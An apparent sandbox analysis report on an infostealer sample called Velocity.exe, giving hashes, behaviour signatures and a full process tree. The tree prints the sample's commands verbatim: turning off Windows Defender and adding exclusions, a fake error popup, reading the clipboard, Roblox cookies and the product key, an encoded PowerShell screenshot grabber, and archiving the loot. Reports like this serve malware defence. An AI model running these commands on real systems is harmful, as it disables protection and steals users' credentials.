Overview

overview

10

Static

static

10

Velocity.exe

windows7-x64

7

Velocity.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250211-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/02/2025, 02:20

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Velocity.exe

  • Size

    7.6MB

  • MD5

    8073f87f61f0625f1ec5ecc24c1c686e

  • SHA1

    e03616dc46fc7c550ac1f6587db7ae72209cc642

  • SHA256

    94237eac80fd2a20880180cab19b94e8760f0d1f06715ff42a6f60aef84f4adf

  • SHA512

    765a854ac6a83d74176006dbb8025ea398400822bfc8a8326a73166351960da8416becfd6aeb02df510db7c1ce0571fe82590604ace99865503c3dff0d338232

  • SSDEEP

    196608:HW606uB+wfI9jUCD6rlaZLH7qRGrGIYUoZy8FUsOnAoF:cB1IH20drLYRZjoF

Score
8/10
adwarecollectioncredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealerupx

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Installs/modifies Browser Helper Object 2 TTPs 8 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in System32 directory 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • UPX packed file 42 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 26 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\Velocity.exe
    "C:\Users\Admin\AppData\Local\Temp\Velocity.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4248
    • C:\Users\Admin\AppData\Local\Temp\Velocity.exe
      "C:\Users\Admin\AppData\Local\Temp\Velocity.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1180
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Velocity.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2972
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Velocity.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4380
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2344
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4720
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Runtime Error 0x000032', 0, 'Operation Failed', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:404
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Runtime Error 0x000032', 0, 'Operation Failed', 0+16);close()"
          4⤵
            PID:5104
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ‏.scr'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:764
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ‏.scr'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4740
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4552
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4868
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1164
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3956
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3408
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2364
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2860
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4508
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:4116
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2408
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3508
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:2732
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4548
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:700
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3904
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1604
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rzb03iet\rzb03iet.cmdline"
                5⤵
                  PID:4432
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAB05.tmp" "c:\Users\Admin\AppData\Local\Temp\rzb03iet\CSC5FCC261B59A44859989EA9E86A3BFE44.TMP"
                    6⤵
                      PID:4716
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3112
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:5056
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2612
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:1416
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3228
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:4756
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                        PID:4816
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          4⤵
                            PID:1324
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                          3⤵
                            PID:3092
                            • C:\Windows\system32\tree.com
                              tree /A /F
                              4⤵
                                PID:3996
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                              3⤵
                                PID:4672
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                  4⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3100
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                3⤵
                                  PID:2096
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                    4⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3860
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "getmac"
                                  3⤵
                                    PID:3088
                                    • C:\Windows\system32\getmac.exe
                                      getmac
                                      4⤵
                                        PID:3620
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI42482\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\snq1V.zip" *"
                                      3⤵
                                        PID:4716
                                        • C:\Users\Admin\AppData\Local\Temp\_MEI42482\rar.exe
                                          C:\Users\Admin\AppData\Local\Temp\_MEI42482\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\snq1V.zip" *
                                          4⤵
                                          • Executes dropped EXE
                                          PID:4376
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                        3⤵
                                          PID:2548
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic os get Caption
                                            4⤵
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3408
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                          3⤵
                                            PID:676
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic computersystem get totalphysicalmemory
                                              4⤵
                                                PID:2856
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                              3⤵
                                                PID:4468
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic csproduct get uuid
                                                  4⤵
                                                    PID:4936
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                  3⤵
                                                    PID:5068
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                      4⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3008
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                    3⤵
                                                      PID:3668
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic path win32_VideoController get name
                                                        4⤵
                                                        • Detects videocard installed
                                                        PID:4844
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                      3⤵
                                                        PID:2024
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                          4⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:5036
                                                  • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
